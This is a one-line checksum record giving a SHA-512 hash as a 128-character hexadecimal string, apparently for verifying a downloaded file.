SHA5124c5edc1d8a5c7800df8190037ce393fb77841553ef649a10f0fbf7c1893b3f1f37a87c77e3c152bfa6d064f58694231922a27ce87f840cf1dc5ada489bd8a757